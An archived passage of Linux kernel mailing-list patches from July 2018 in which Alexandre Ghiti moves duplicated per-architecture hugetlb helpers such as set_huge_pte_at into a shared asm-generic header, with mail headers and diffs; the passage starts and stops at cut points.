        Thu, 5 Jul 2018 00:59:38 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:56719 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753225AbeGEE7c (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:32 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 53EC91BF206;
        Thu,  5 Jul 2018 04:59:25 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705045847.32575-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812018 gmane.linux.ports.arm.kernel:660910 gmane.linux.ports.ia64:28882 gmane.linux.ports.mips.general:65242 gmane.linux.ports.parisc:28733 gmane.linux.ports.ppc64.devel:159665 gmane.linux.ports.sh.devel:57155 gmane.linux.ports.sparc:28057 gmane.linux.kernel.cross-arch:45002
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812018>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 12 ++----------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     | 11 ++---------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 30 insertions(+), 64 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..047b893ef95d 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -23,19 +23,9 @@
 #define _ASM_ARM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
@@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_ARM_HUGETLB_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..de46ee16b615 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, unsigned long addr,
 }
 #endif /* CONFIG_HUGETLB_PAGE */
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_POWERPC_HUGETLB_H */
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..996ce8e15365 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_X86_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
 
@@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 static inline bool gigantic_page_supported(void) { return true; }
 #endif
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_X86_HUGETLB_H */
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Thu,  5 Jul 2018 04:58:39 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <20180705045847.32575-4-alex@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766663 2399 195.159.176.226 (5 Jul 2018 04:57:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:43 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKm-0000Uc-Dd
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753375AbeGEE7n (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 00:59:43 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:42533 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753295AbeGEE7i (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:38 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id CD6521BF207;
        Thu,  5 Jul 2018 04:59:30 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705045847.32575-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812019 gmane.linux.ports.arm.kernel:660911 gmane.linux.ports.ia64:28883 gmane.linux.ports.mips.general:65243 gmane.linux.ports.parisc:28734 gmane.linux.ports.ppc64.devel:159666 gmane.linux.ports.sh.devel:57156 gmane.linux.ports.sparc:28058 gmane.linux.kernel.cross-arch:45003
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812019>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de46ee16b615..ba7d5d8b543f 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 996ce8e15365..554d5614b375 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 04/11] hugetlb: Introduce generic version of huge_ptep_get_and_clear
Date: Thu,  5 Jul 2018 04:58:40 +0000
Lines: 167
Approved: news@gmane.org
Message-ID: <20180705045847.32575-5-alex@ghiti.fr>
References: <20180705045847.32575-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530766671 2972 195.159.176.226 (5 Jul 2018 04:57:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 04:57:51 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 06:57:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawKt-0000cD-ND
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 06:57:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753407AbeGEE7s (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 00:59:48 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:60585 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753295AbeGEE7o (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 00:59:44 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id A48071BF209;
        Thu,  5 Jul 2018 04:59:36 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705045847.32575-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812020 gmane.linux.ports.arm.kernel:660912 gmane.linux.ports.ia64:28884 gmane.linux.ports.mips.general:65244 gmane.linux.ports.parisc:28735 gmane.linux.ports.ppc64.devel:159667 gmane.linux.ports.sh.devel:57157 gmane.linux.ports.sparc:28059 gmane.linux.kernel.cross-arch:45004
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812020>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
